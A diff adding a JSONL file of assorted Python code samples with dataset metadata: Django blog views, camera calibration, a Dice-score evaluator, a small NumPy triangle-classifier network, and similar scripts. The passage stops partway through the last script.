diff --git "a/1153.jsonl" "b/1153.jsonl"
new file mode 100644--- /dev/null
+++ "b/1153.jsonl"
@@ -0,0 +1,748 @@
+{"seq_id":"32233043","text":"\nimport csv\nimport json\n\ncsv_file = open('BirdsBeingDicks.csv', 'r') # Open read only\njson_file = open('BBD.json', 'w') # Write only JSON\ncol_names = (\"created_utc\", \"score\", \"domain\", \"_id\", \"title\", \"author\", \"ups\", \"downs\", \"num_comments\", \"permalink\", \"selftext\", \"link_flair_text\", \"over_18\", \"thumbnail\", \"subreddit_id\", \"edited\", \"link_flair_css_class\", \"author_flair_css_class\", \"is_self\", \"name\", \"url\", \"distinguished\")\nread_csv = csv.DictReader(csv_file, col_names);\n\ni=0\nfor row in read_csv:\n\trow_necessary = {}\n\trow_necessary['time'] = row['created_utc']\n\trow_necessary['score'] = row['score']\n\trow_necessary['domain'] = row['domain']\n\trow_necessary['_id'] = row['_id']\n\trow_necessary['title'] = row['title']\n\trow_necessary['author'] = row['author']\n\trow_necessary['ups'] = row['ups']\n\trow_necessary['downs'] = row['downs']\n\trow_necessary['num_comments'] = row['num_comments']\n\trow_necessary['permalink'] = row['permalink']\n\trow_necessary['name'] = row['name']\n\trow_necessary['url'] = row['url']\n\tif i != 0:\n\t\tjson.dump(row_necessary, json_file, sort_keys=False)\n\t\tjson_file.write(\"\\n\")\n\ti+=1\n\njson_file.close()\njsonnew = open('BBDNEW.json','w');\nwith open('BBD.json') as f:\n\tcontent = f.readlines()\n\tfor line in content:\n\t\tif \"\\(\\)\\[\\]\" in line:\n\t\t\tline = line.replace(\"\\(\",\"\\\\(\")\n\t\t\tline = line.replace(\"\\)\",\"\\\\)\")\n\t\t\tline = line.replace(\"\\[\",\"\\\\[\")\n\t\t\tline = line.replace(\"\\]\",\"\\\\]\")\n\t\tjsonnew.write(line)\nf.close()\n","sub_path":"importCSVtoJSON.py","file_name":"importCSVtoJSON.py","file_ext":"py","file_size_in_byte":1443,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"350521340","text":"import uuid\r\nfrom copy import deepcopy\r\n\r\n\r\nclass Person:\r\n def __init__(self):\r\n self.__name = \"Vitalii\"\r\n self.__last_name = 'Kolobok'\r\n self.__uuid = uuid.uuid4().hex\r\n\r\n def __repr__(self):\r\n return f'{self.__dict__}'\r\n\r\n def creating_new_object(self, **kwargs):\r\n self_copy = deepcopy(self)\r\n for value in kwargs:\r\n setattr(self_copy, value, kwargs[value])\r\n return self_copy\r\n\r\n\r\nperson = Person()\r\n\r\n''' Сopying primary data and adding data '''\r\nperson_objects = person.creating_new_object(firm_car='Renault', model_car='Koleos',\r\n color_car=\"Grey\", government_number='AX2578EM')\r\nprint(person_objects)\r\nprint(person)\r\n","sub_path":"DZ_7 rev_1.py","file_name":"DZ_7 rev_1.py","file_ext":"py","file_size_in_byte":739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"320250310","text":"a = int(input(\"Enter your age, JAyesh:\\n \"))\n\n# above a should be defined whether it is a 'int', otherwise it will confuse it as a 'str'\nif a>18:\n print(\"Yes\")\nelif a<18:\n print(\"No\")\nelse:\n print(\"none\")\n23\n\n\n","sub_path":"Chap6_conditional_and _logical_operators/02_enter_age.py","file_name":"02_enter_age.py","file_ext":"py","file_size_in_byte":219,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"182082887","text":"#!/usr/bin/python\n# coding=utf-8\n\n\nfrom django.template import loader,Context\nfrom django.http import HttpResponse\nfrom gallery.models import Blog\nfrom django.shortcuts import render\nfrom django.db.models import Q\n\ndef Posts(request):\n context = {}\n context['posts'] = Blog.objects.all()\n archive_link = time_line(request)\n context.update(archive_link)\n return render(request,'posts.html',context)\n \n\n\ndef blog_detail(request,id=None):\n context = {}\n blog = Blog.objects.get(pk=id)\n context['blog'] = blog\n# context['id'] = id\n return render(request,'blog_detail.html',context)\n\n\ndef search(request):\n context = {}\n key = request.GET.get('search','')\n context['key'] = key\n context['blogs'] = Blog.objects.filter(title__icontains=key).order_by('-timestamp')\n return render(request,'search.html',context)\n\ndef time_line(request):\n context = {}\n# all_time_line = []\n blogs_list = []\n# blogs = Blog.objects.all()\n blogs= Blog.objects.values('id','title', 'timestamp').order_by('timestamp')\n# for blog in blogs:\n# if blog.timestamp not in all_time_line:\n# all_time_line.append(blog.timestamp)\n# context['all_time_line'] = all_time_line\n dates = set([str(i['timestamp'].year)+str(i['timestamp'].month) for i in blogs])\n for i in dates:\n dic = {}\n b_info = []\n count = 0\n dic['year'] = i[:4]\n dic['month'] = i[4:]\n for obj in blogs:\n if str(obj['timestamp'].year) + str(obj['timestamp'].month) == i:\n dic_ = {}\n dic_['blog'] = obj\n b_info.append(dic_)\n count += 1\n dic['count'] = count\n dic['b_info'] = b_info\n blogs_list.append(dic)\n \n context['dates'] = blogs_list\n# context['blogs'] = blogs\n return context\n # return render(request,'posts.html',context)\n \ndef archive(request):\n context = {}\n post = []\n year = request.GET.get('year','')\n month = request.GET.get('month','')\n blogs = Blog.objects.filter(Q(timestamp__month = month), Q(timestamp__year = year))\n context['posts'] = blogs\n archive_link = time_line(request)\n context.update(archive_link)\n \n return render(request,'posts.html',context)\n","sub_path":"Quentin/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"363562697","text":"# MenuTitle: Report Global Glyph Set For All Open Files\nfrom GlyphsApp import Glyphs\n\nggo = []\n\nfor f in Glyphs.fonts:\n\tggo += [g.name for g in f.glyphs if g.export]\n\nggo = list(set(ggo))\nprint(\" \".join(ggo))\n","sub_path":"Font/Print Global Glyph Set.py","file_name":"Print Global Glyph Set.py","file_ext":"py","file_size_in_byte":209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"566449854","text":"import os\n\nimg_dir = '/home/cao/workspace/PASCAL_VOC/Dataset/MSCOCO/VOCdevkit/VOC2012/Annotations'\ntesttxt = '/home/cao/workspace/PASCAL_VOC/Dataset/MSCOCO/VOCdevkit/VOC2012/ImageSets/coco_test1000.txt'\ntraintxt = '/home/cao/workspace/PASCAL_VOC/Dataset/MSCOCO/VOCdevkit/VOC2012/ImageSets/train_imgs.txt'\n\nalls = os.listdir(img_dir)\nprint(len(alls))\n\ntests = []\ntrains = []\n\nfor line in open(testtxt):\n tests.append(line[:-1])\n\nprint(len(tests))\n\nfor name in alls:\n name_prex = name.split('.')[0]\n if name_prex not in tests:\n trains.append(name_prex)\n\n \nprint(len(trains))\nwith open(traintxt,'w') as f:\n for name in trains:\n f.write(name+'\\n')\n\n\n\n","sub_path":"split_trainlist_according_testlist.py","file_name":"split_trainlist_according_testlist.py","file_ext":"py","file_size_in_byte":676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"625752915","text":"from dataclasses import dataclass\nfrom base.common.models.request import BaseRequestModelKeys, SimpleRequestModel\n\n\n@dataclass\nclass GetTPOQueueDataRequestParams(BaseRequestModelKeys):\n COMPANY_ID: str = \"CompanyID\"\n CONTACT_ID: str = \"ContactID\"\n\n\nclass GetTPOQueueDataRequest(SimpleRequestModel):\n def __init__(self, company_id, contact_id, session_id, nonce, pretty_print):\n self.company_id = company_id\n self.contact_id = contact_id\n super().__init__(session_id=session_id, nonce=nonce, pretty_print=pretty_print)\n\n def to_params(self):\n args = super().to_params()\n args[GetTPOQueueDataRequestParams.COMPANY_ID] = self.company_id\n args[GetTPOQueueDataRequestParams.CONTACT_ID] = self.contact_id\n return args\n","sub_path":"APIs/tpo/requests/get_tpo_queue_data.py","file_name":"get_tpo_queue_data.py","file_ext":"py","file_size_in_byte":773,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"144072287","text":"import run_config\n\n#\n# --------------------------------------------------------------------------------\n\ndef running_config_host(context, scoreboard, data):\n \"\"\"\n Add host details, including tags.\n \"\"\"\n\n detail = data.get('detail', False)\n run_config.post_paths('core/device', detail)\n\n\nhost_running_config_tuple = (\n (\n {\n 'optional' : False,\n 'field' : 'running-config',\n 'type' : 'enum',\n 'values' : 'host',\n 'short-help' : 'Configuration for hosts',\n 'doc' : 'running-config|show-host',\n },\n {\n 'field' : 'word',\n 'type' : 'host',\n 'completion' : 'complete-from-another',\n 'other' : 'host|mac',\n 'parent-field' : None,\n 'data-handler' : 'alias-to-value',\n 'action' : 'legacy-cli',\n 'optional' : True,\n }\n ),\n)\n\n# device manager enabled?\nrun_config.register_running_config('host', 5000, lambda x: False,\n running_config_host,\n host_running_config_tuple)\n\n","sub_path":"core/src/main/python/cli/desc/version200/host_run_config.py","file_name":"host_run_config.py","file_ext":"py","file_size_in_byte":1177,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"225534113","text":"import os\r\nimport argparse\r\nimport numpy as np\r\nimport pandas as pd\r\nimport nibabel as nib\r\nfrom ukbb_cardiac.common.cardiac_utils import get_frames\r\nfrom ukbb_cardiac.common.image_utils import np_categorical_dice\r\n\r\nif __name__ == '__main__':\r\n parser = argparse.ArgumentParser()\r\n parser.add_argument('--output_csv', metavar='csv_name', default='DM_table.csv', required=True)\r\n args = parser.parse_args()\r\n\r\n print('Creating accuracy spreadsheet file ...')\r\n\r\n if os.path.exists(args.output_csv):\r\n os.remove(args.output_csv)\r\n \r\n # Record ED ES frames to csv\r\n init = {'Data': [],\r\n 'EDLV': [],\r\n 'EDLVM': [],\r\n 'EDRV': [],\r\n 'ESLV': [],\r\n 'ESLVM': [],\r\n 'ESRV': [],\r\n }\r\n\r\n df = pd.DataFrame(init)\r\n\r\n root = './demo_image'\r\n folder_list = sorted(os.listdir(root))\r\n\r\n for folder in folder_list:\r\n folder_dir = os.path.join(root, folder)\r\n if os.path.exists('{0}/{1}_seg_sa_ED.nii.gz'.format(folder_dir, folder) and ('{0}/{1}_seg_sa_ES.nii.gz'.format(folder_dir, folder))\r\n and ('{0}/{1}_sa_gt.nii.gz'.format(folder_dir, folder))):\r\n \r\n seg_sa_ED = '{0}/{1}_seg_sa_ED.nii.gz'.format(folder_dir, folder)\r\n seg_sa_ES = '{0}/{1}_seg_sa_ES.nii.gz'.format(folder_dir, folder)\r\n seg_sa_ground_truth = '{0}/{1}_sa_gt.nii.gz'.format(folder_dir, folder)\r\n ##seg_sa_ED ='{0}/{1}_sa_gt.nii.gz'.format(folder_dir, folder) # To see Dice metric between same segmentations is 1\r\n \r\n seg_gt = nib.load(seg_sa_ground_truth).get_fdata()\r\n \r\n fr = get_frames(seg_gt, 'sa')\r\n seg_ED_gt = seg_gt[:, :, :, fr['ED']] \r\n seg_ES_gt = seg_gt[:, :, :, fr['ES']] \r\n \r\n dice_arr = np.zeros(6)\r\n ind = 0\r\n \r\n frames = ['ED','ES']\r\n segm = ['LV','LV Myocardium','RV']\r\n for fr in frames:\r\n print('\\nFor image {0}, Comparison between: {1} \\n'.format(folder, fr))\r\n\r\n seg_model = nib.load(seg_sa_ED).get_fdata() if fr == 'ED' else nib.load(seg_sa_ES).get_fdata()\r\n ##if fr == 'ED' : seg_model = seg_model[:,:,:,0] # To see Dice metric between same segmentations is 1\r\n \r\n \r\n for i in range(1,4): # Loop for all segmentations\r\n print('Calculate Dice metric for ',segm[i - 1])\r\n \r\n total_seg_ED = np.sum(seg_ED_gt == i, axis=(0, 1, 2))\r\n print('Seg num (', segm[i-1],') in ground truth ED: ',np.max(total_seg_ED))\r\n total_seg_ES = np.sum(seg_ES_gt == i, axis=(0, 1, 2))\r\n print('Seg num (', segm[i-1],') in ground truth ES: ',np.max(total_seg_ES))\r\n\r\n total_seg = np.sum(seg_model == i, axis=(0, 1, 2))\r\n print('Seg num in model: ', np.max(total_seg))\r\n \r\n #denom = seg_ED_gt.shape[0]* seg_ED_gt.shape[1]* seg_ED_gt.shape[2]\r\n \r\n if fr == 'ED':\r\n dice_metric = np_categorical_dice(seg_model, seg_ED_gt, i) if (total_seg + total_seg_ED > 0) else 0 \r\n else:\r\n dice_metric = np_categorical_dice(seg_model, seg_ES_gt, i) if (total_seg + total_seg_ES > 0) else 0\r\n \r\n print(\"Dice metric for {0}: %\".format(fr) , dice_metric * 100,'\\n')\r\n \r\n dice_arr[ind] = dice_metric * 100\r\n ind += 1\r\n print('{0} finished'.format(folder)) \r\n\r\n frames_dict = {'Data': [folder],\r\n 'EDLV': [dice_arr[0]],\r\n 'EDLVM': [dice_arr[1]],\r\n 'EDRV': [dice_arr[2]],\r\n 'ESLV': [dice_arr[3]],\r\n 'ESLVM': [dice_arr[4]],\r\n 'ESRV': [dice_arr[5]],\r\n }\r\n df1 = pd.DataFrame(frames_dict)\r\n df = df.append(df1, ignore_index = True)\r\n \r\n else:\r\n print('Error! Can not find one of the expected files: {0}/{1}_seg_sa_ED.nii.gz or {0}/{1}_sa_gt.nii.gz'.format(folder_dir, folder))\r\n\r\n df.to_csv(args.output_csv, index = False)","sub_path":"dice_calculator.py","file_name":"dice_calculator.py","file_ext":"py","file_size_in_byte":4422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"382957105","text":"# Estimate extrinsic camera parameters\n#\n# camera calibration for distorted images with chess board samples\n#\n# based on: https://github.com/opencv/opencv/blob/master/samples/python/calibrate.py\n#\n# Dylan Campbell \n\nimport os\nimport cv2 as cv\nimport argparse\nimport json\nimport pickle\nimport subprocess\nimport numpy as np\nfrom glob import glob\nfrom pdb import set_trace as st\n\nscenes = ['01', '02', '04', '05', '06', '07', '08', '09', '10', '11']\ncams = ['dev1', 'dev2', 'dev3']\n\ndef get_extrinsic_parameters(args):\n calib_path = os.path.join(args.dataset_dir, 'Calibration')\n for scene in scenes:\n scene_path = os.path.join(calib_path, scene)\n \n cam = 'dev2' # Compute cameras w.r.t dev2\n cam_path = os.path.join(scene_path, cam)\n img_mask = os.path.join(cam_path, 'images', '????.png')\n img_names = glob(img_mask)\n color_param_filename = os.path.join(cam_path, 'ColorIns.txt')\n rgb_ins_params = get_rgb_ins_params(color_param_filename)\n\n cam1 = 'dev1' # Compute cameras w.r.t dev2\n cam_path1 = os.path.join(scene_path, cam1)\n img_mask1 = os.path.join(cam_path1, 'images', '????.png')\n img_names1 = glob(img_mask1)\n cam3 = 'dev3' # Compute cameras w.r.t dev2\n cam_path3 = os.path.join(scene_path, cam3)\n img_mask3 = os.path.join(cam_path3, 'images', '????.png')\n img_names3 = glob(img_mask3)\n\n pattern_size = (4, 3) # Number of inner corners per a chessboard row and column\n pattern_points = np.zeros((np.prod(pattern_size), 3), np.float32)\n pattern_points[:, :2] = np.indices(pattern_size).T.reshape(-1, 2)\n pattern_points *= args.square_size\n\n obj_points = []\n img_points = []\n img_points1 = []\n img_points3 = []\n h, w = cv.imread(img_names[0], cv.IMREAD_GRAYSCALE).shape[:2]\n\n def processImage(fn):\n # print('processing %s... ' % fn)\n img = cv.imread(fn, 0)\n if img is None:\n print(\"Failed to load\", fn)\n return None\n\n # img = cv.flip(img, 1) # Flip LR\n # cv.imwrite(fn, img)\n\n assert w == img.shape[1] and h == img.shape[0], (\"size: %d x %d ... \" % (img.shape[1], img.shape[0]))\n found, corners = cv.findChessboardCorners(img, pattern_size)\n if found:\n term = (cv.TERM_CRITERIA_EPS + cv.TERM_CRITERIA_COUNT, 30, 0.1)\n cv.cornerSubPix(img, corners, (5, 5), (-1, -1), term)\n if args.debug_dir:\n vis = cv.cvtColor(img, cv.COLOR_GRAY2BGR)\n cv.drawChessboardCorners(vis, pattern_size, corners, found)\n _, name, _ = splitfn(fn)\n outfile = os.path.join(args.debug_dir, name + '_chess.png')\n cv.imwrite(outfile, vis)\n if not found:\n print('chessboard not found')\n return None\n # print(' %s... OK' % fn)\n return (corners.reshape(-1, 2), pattern_points)\n\n threads_num = args.num_threads\n if threads_num <= 1:\n chessboards1 = [processImage(fn) for fn in img_names1]\n chessboards3 = [processImage(fn) for fn in img_names3]\n chessboards = [processImage(fn) for fn in img_names]\n else:\n # print(\"Run with %d threads...\" % threads_num)\n from multiprocessing.dummy import Pool as ThreadPool\n pool = ThreadPool(threads_num)\n chessboards1 = pool.map(processImage, img_names1)\n chessboards3 = pool.map(processImage, img_names3)\n chessboards = pool.map(processImage, img_names)\n\n chessboards = [x for x in chessboards if x is not None]\n chessboards1 = [x for x in chessboards1 if x is not None]\n chessboards3 = [x for x in chessboards3 if x is not None]\n for (corners, pattern_points) in chessboards:\n img_points.append(corners)\n obj_points.append(pattern_points)\n for (corners, pattern_points) in chessboards1:\n img_points1.append(corners)\n for (corners, pattern_points) in chessboards3:\n img_points3.append(corners)\n\n # Calibrate cameras:\n camera_matrix_gt = np.float32(np.array([[rgb_ins_params[\"fx\"], 0.0, rgb_ins_params[\"cx\"]], [0.0, rgb_ins_params[\"fy\"], rgb_ins_params[\"cy\"]], [0.0, 0.0, 1.0]])) # fx and fy \n dist_coefs_gt = np.float32(np.array([0.0, 0.0, 0.0, 0.0]))\n flags=cv.CALIB_USE_INTRINSIC_GUESS + cv.CALIB_FIX_PRINCIPAL_POINT + cv.CALIB_FIX_ASPECT_RATIO + cv.CALIB_ZERO_TANGENT_DIST + cv.CALIB_FIX_K1 + cv.CALIB_FIX_K2 + cv.CALIB_FIX_K3 + cv.CALIB_FIX_K4 + cv.CALIB_FIX_K5 + cv.CALIB_FIX_K6\n rms, camera_matrix, dist_coefs, rvecs, tvecs = cv.calibrateCamera(obj_points, img_points, (w, h), camera_matrix_gt, dist_coefs_gt, flags=flags)\n rms1, camera_matrix1, dist_coefs1, rvecs1, tvecs1 = cv.calibrateCamera(obj_points, img_points1, (w, h), camera_matrix_gt, dist_coefs_gt, flags=flags)\n rms3, camera_matrix3, dist_coefs3, rvecs3, tvecs3 = cv.calibrateCamera(obj_points, img_points3, (w, h), camera_matrix_gt, dist_coefs_gt, flags=flags)\n\n # if debug: undistort the image with the calibration\n for fn in img_names if args.debug_dir else []:\n _path, name, _ext = splitfn(fn)\n img_found = os.path.join(args.debug_dir, name + '_chess.png')\n outfile = os.path.join(args.debug_dir, name + '_undistorted.png')\n img = cv.imread(img_found)\n if img is None:\n continue\n h, w = img.shape[:2]\n newcameramtx, roi = cv.getOptimalNewCameraMatrix(camera_matrix, dist_coefs, (w, h), 1, (w, h))\n dst = cv.undistort(img, camera_matrix, dist_coefs, None, newcameramtx)\n # crop and save the image\n x, y, w, h = roi\n dst = dst[y:y+h, x:x+w]\n print('Undistorted image written to: %s' % outfile)\n cv.imwrite(outfile, dst)\n\n flags=cv.CALIB_FIX_INTRINSIC\n rms, camera_matrix, dist_coefs, camera_matrix1, dist_coefs1, R21, T21, _, _ = cv.stereoCalibrate(obj_points, img_points, img_points1, camera_matrix, dist_coefs, camera_matrix1, dist_coefs1, (w, h), flags=flags)\n rms, camera_matrix, dist_coefs, camera_matrix3, dist_coefs3, R23, T23, _, _ = cv.stereoCalibrate(obj_points, img_points, img_points3, camera_matrix, dist_coefs, camera_matrix3, dist_coefs3, (w, h), flags=flags)\n\n camera_parameters = {\n \"K\": camera_matrix,\n \"dist_coefs\": dist_coefs,\n \"R\": np.eye(3),\n \"T\": np.zeros((3,1))\n }\n with open(os.path.join(cam_path, 'camera_parameters.pkl'), 'wb') as f:\n pickle.dump(camera_parameters, f)\n with open(os.path.join(cam_path, 'camera_parameters.json'), 'w') as outfile:\n camera_parameters_serialized = {key: value.tolist() for key, value in camera_parameters.items()}\n json.dump(camera_parameters_serialized, outfile)\n\n camera_parameters = {\n \"K\": camera_matrix1,\n \"dist_coefs\": dist_coefs1,\n \"R\": R21,\n \"T\": T21\n }\n with open(os.path.join(cam_path1, 'camera_parameters.pkl'), 'wb') as f:\n pickle.dump(camera_parameters, f)\n with open(os.path.join(cam_path1, 'camera_parameters.json'), 'w') as outfile:\n camera_parameters_serialized = {key: value.tolist() for key, value in camera_parameters.items()}\n json.dump(camera_parameters_serialized, outfile)\n\n camera_parameters = {\n \"K\": camera_matrix3,\n \"dist_coefs\": dist_coefs3,\n \"R\": R23,\n \"T\": T23\n }\n with open(os.path.join(cam_path3, 'camera_parameters.pkl'), 'wb') as f:\n pickle.dump(camera_parameters, f)\n with open(os.path.join(cam_path3, 'camera_parameters.json'), 'w') as outfile:\n camera_parameters_serialized = {key: value.tolist() for key, value in camera_parameters.items()}\n json.dump(camera_parameters_serialized, outfile)\n\ndef splitfn(fn):\n path, fn = os.path.split(fn)\n name, ext = os.path.splitext(fn)\n return path, name, ext\n\ndef get_rgb_ins_params(param_file):\n '''\n read the rgb intrinsic parameters file\n :param param_file: path to intrinsic parameters file\n :return:\n rgb_ins_params: a libfreenect2 ColorCameraParams object\n '''\n with open(param_file, 'r') as f:\n rgb_ins_params = [float(line.strip()) for line in f if line]\n\n rgb_camera_params_obj = {\n \"fx\" : rgb_ins_params[0],\n \"fy\" : rgb_ins_params[1],\n \"cx\" : rgb_ins_params[2],\n \"cy\" : rgb_ins_params[3],\n\n \"shift_d\" : rgb_ins_params[4],\n \"shift_m\" : rgb_ins_params[5],\n \"mx_x3y0\" : rgb_ins_params[6],\n \"mx_x0y3\" : rgb_ins_params[7],\n \"mx_x2y1\" : rgb_ins_params[8],\n \"mx_x1y2\" : rgb_ins_params[9],\n \"mx_x2y0\" : rgb_ins_params[10],\n \"mx_x0y2\" : rgb_ins_params[11],\n \"mx_x1y1\" : rgb_ins_params[12],\n \"mx_x1y0\" : rgb_ins_params[13],\n \"mx_x0y1\" : rgb_ins_params[14],\n \"mx_x0y0\" : rgb_ins_params[15],\n\n \"my_x3y0\" : rgb_ins_params[16],\n \"my_x0y3\" : rgb_ins_params[17],\n \"my_x2y1\" : rgb_ins_params[18],\n \"my_x1y2\" : rgb_ins_params[19],\n \"my_x2y0\" : rgb_ins_params[20],\n \"my_x0y2\" : rgb_ins_params[21],\n \"my_x1y1\" : rgb_ins_params[22],\n \"my_x1y0\" : rgb_ins_params[23],\n \"my_x0y1\" : rgb_ins_params[24],\n \"my_x0y0\" : rgb_ins_params[25]\n }\n return rgb_camera_params_obj\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--dataset_dir', type=str, default='/home/djcam/Documents/HDD/datasets/ikea/ikea_asm/',\n help='directory of the IKEA assembly dataset')\n parser.add_argument('--square_size', type=float, default=4.0,\n help='calibration chessboard square size (in centimetres)')\n parser.add_argument('--num_threads', type=int, default=4,\n help='number of threads for chessboard function')\n parser.add_argument('--debug_dir', type=str, default='',\n help='path for debug chessboard images')\n args = parser.parse_args()\n\n get_extrinsic_parameters(args)","sub_path":"human_pose/calibration.py","file_name":"calibration.py","file_ext":"py","file_size_in_byte":10409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"436669980","text":"## MY FIRST NEURAL NETWORK !!! WITH ACCURACY 93%\r\n## This NN can tell whether an image is a triangle or not\r\n\r\n# increase the shapes' sizes => increase accuracy (easier to recognize)\r\n# introducing noise (50,20,20) => decrease accuracy by ~3%\r\n# using tanh as activation function instead of sigmoid => the result converge faster\r\n# increase nepoch => increase accuracy\r\n# still 2 hidden layers, 1 layer has more neurons => increase accuracy, slower training speed\r\n# decrease isize => faster training speed\r\n# => use average pooling to increase the training speed!!! (IMPLEMENT THIS NOW)\r\n# ReLU seems to have much careful steps, but the convergence is not as fast as tanh\r\n# using (tanh, tanh, sigmoid) can achieve the error rate of 0.0005 in 300 epochs :) and error rate of 0.0 after 400 epochs on training set :)\r\n\r\n##import os\r\n##os.environ[\"CUDA_PATH\"] = \"C:\\\\Program Files\\\\NVIDIA GPU Computing Toolkit\\\\CUDA\\\\v11.2\"\r\n##import cupy as cp\r\n\r\nimport numpy as np\r\nimport random\r\nimport time\r\nfrom winsound import Beep\r\n\r\n# generate a random 64x64 image of a shape: square, triangle\r\n\r\ndef genSquare(size=64):\r\n ssize = random.randint(size//3,size) # square size\r\n image = np.zeros((size,size))\r\n sx, sy = [random.randint(0, size-ssize) for _ in range(2)]\r\n image[sx:sx+ssize, sy:sy+ssize] = 1\r\n return image\r\n\r\ndef genTriangle(size=64): # only odd length base\r\n tsize = random.randint(size>>2,(size+1)>>1) # the height\r\n image = np.zeros((size,size))\r\n sx = random.randint(0, size-tsize)\r\n sy = random.randint(0, size - (tsize << 1) + 1)\r\n for i in range(tsize):\r\n image[sx+i, sy+tsize-i-1:sy+tsize+i] = 1\r\n return image\r\n\r\ndef genNoise(size=64):\r\n return np.random.choice([0., 1.], (size,size))\r\n\r\ndef genLabeledDataset(n, size=64): # 0.5 triangle, 0.25 square, 0.25 noise\r\n data, labels = [], []\r\n for _ in range(n):\r\n c = random.getrandbits(2)\r\n if c >> 1:\r\n data.append(genTriangle(size))\r\n labels.append(1)\r\n else:\r\n if c & 1:\r\n data.append(genSquare(size))\r\n else:\r\n data.append(genNoise(size))\r\n labels.append(0)\r\n return np.array(data), np.array(labels)[:, np.newaxis, np.newaxis] # this choice is because we are doing binary classification, last layer only have 1 neuron\r\n\r\ndef draw(shape):\r\n image = '\\n'.join(map(lambda row : ''.join(map(lambda pixel : '▓' if pixel else '░', row)), shape))\r\n print(image)\r\n\r\ndef sigmoid(x, deriv=False):\r\n sigmoid_ = np.reciprocal(1 + np.exp(-x))\r\n if deriv:\r\n return sigmoid_ * (1 - sigmoid_)\r\n return sigmoid_\r\n\r\ndef tanh(x, deriv=False):\r\n if deriv:\r\n return np.reciprocal(np.cosh(x)**2)\r\n return np.tanh(x)\r\n\r\ndef ReLU(x, deriv=False):\r\n if deriv:\r\n return x > 0\r\n return x * (x > 0)\r\n\r\ndef main():\r\n startTime = time.time()\r\n \r\n print('--- Initializing ---')\r\n dsize, tsize, isize = 10000, 100, 10 # train & test may overlap\r\n nepoch = 5\r\n step = 1 # length of the step to take in gradient descent\r\n print('Training set size: ' + str(dsize) + ' images')\r\n print('Testing set size: ' + str(tsize) + ' images')\r\n print('Image size: ' + str(isize) + 'x' + str(isize))\r\n print('#epochs:', nepoch)\r\n print('Step:', step)\r\n\r\n # we use a NN that have 4 layers with config (isize**2, 32, 32, 1), each number represent the number of neurons in each layer\r\n n1, n2 = 64, 64\r\n print('--- Initialize the neural network (' + str(n1) + ',' + str(n2) + ',1) ---')\r\n w1 = np.random.randn(n1, isize**2)\r\n b1 = np.random.randn(n1, 1)\r\n w2 = np.random.randn(n2, n1)\r\n b2 = np.random.randn(n2, 1)\r\n w3 = np.random.randn(1, n2)\r\n b3 = np.random.randn(1, 1)\r\n\r\n print('--- Generating dataset ---')\r\n images, labels = genLabeledDataset(n=dsize, size=isize)\r\n\r\n # show an example from the generated dataset\r\n print('--- Example ---')\r\n exImage, exLabel = random.choice(list(zip(images,labels)))\r\n print('Label:', exLabel)\r\n print('Image:')\r\n draw(exImage)\r\n\r\n # preprocessing\r\n print('--- Preprocessing images ---')\r\n data = images.reshape((dsize, -1, 1)) # data in the first layer l0\r\n\r\n # the activation function\r\n activate = tanh\r\n activateLast = sigmoid\r\n\r\n # actual learning process - each epoch we forward `dsize` images, then backprop 1 time to update the NN\r\n print('\\n--- Training ---')\r\n error = 1\r\n\r\n while True:\r\n for epoch in range(nepoch):\r\n print('Epoch #' + str(epoch) + '/' + str(nepoch))\r\n \r\n # forward propagation - the prediction\r\n a0s = data # feeding `dsize` images at the same time!\r\n a1s = np.array([activate(w1 @ a0 + b1) for a0 in a0s])\r\n a2s = np.array([activate(w2 @ a1 + b2) for a1 in a1s])\r\n a3s = np.array([activateLast(w3 @ a2 + b3) for a2 in a2s])\r\n\r\n # the errors\r\n oldError, error = error, (np.array([round(a3) for a3 in a3s.reshape(-1)]) ^ labels.reshape(-1)).sum() / dsize\r\n print('Error rate:', error)\r\n if error > oldError:\r\n step *= 0.5\r\n print('Step changed:', step)\r\n\r\n # back propagation function - to update weigths and biases to do the gradient descent\r\n # lấy tổng trước rồi mới normalize\r\n db3s = np.array([2 * (a3 - y) * activateLast(w3 @ a2 + b3, deriv=True) for a2,a3,y in zip(a2s,a3s,labels)])\r\n dw3s = np.array([db3 * a2.T for a2,db3 in zip(a2s,db3s)])\r\n da2s = np.array([w3.T @ db3 for db3 in db3s])\r\n\r\n db2s = np.array([da2 * activate(w2 @ a1 + b2, deriv=True) for a1,da2 in zip(a1s,da2s)])\r\n dw2s = np.array([db2 * a1.T for a1,db2 in zip(a1s,db2s)])\r\n da1s = np.array([w2.T @ db2 for db2 in db2s])\r\n\r\n db1s = np.array([da1 * activate(w1 @ a0 + b1, deriv=True) for a0,da1 in zip(a0s,da1s)])\r\n dw1s = np.array([db1 * a0.T for a0,db1 in zip(a0s,db1s)])\r\n\r\n # sum all the opinions of the dataset, then normalize the coordinates to take the given `step`\r\n dw1, db1 = dw1s.sum(axis=0), db1s.sum(axis=0)\r\n dw2, db2 = dw2s.sum(axis=0), db2s.sum(axis=0)\r\n dw3, db3 = dw3s.sum(axis=0), db3s.sum(axis=0)\r\n\r\n # the minus sign: minimize the cost function, since gradient maximizes it\r\n denom = sum([(dx**2).sum() for dx in [dw1,db1,dw2,db2,dw3,db3]]) ** 0.5 + 1e-300 # divide by 0\r\n dw1 *= -step / denom\r\n db1 *= -step / denom\r\n dw2 *= -step / denom\r\n db2 *= -step / denom\r\n dw3 *= -step / denom\r\n db3 *= -step / denom\r\n\r\n # gradient descent\r\n w1 += dw1\r\n b1 += db1\r\n w2 += dw2\r\n b2 += db2\r\n w3 += dw3\r\n b3 += db3\r\n\r\n print('\\nTraining completed!')\r\n print('Time elapsed: ' + str(time.time() - startTime) + ' 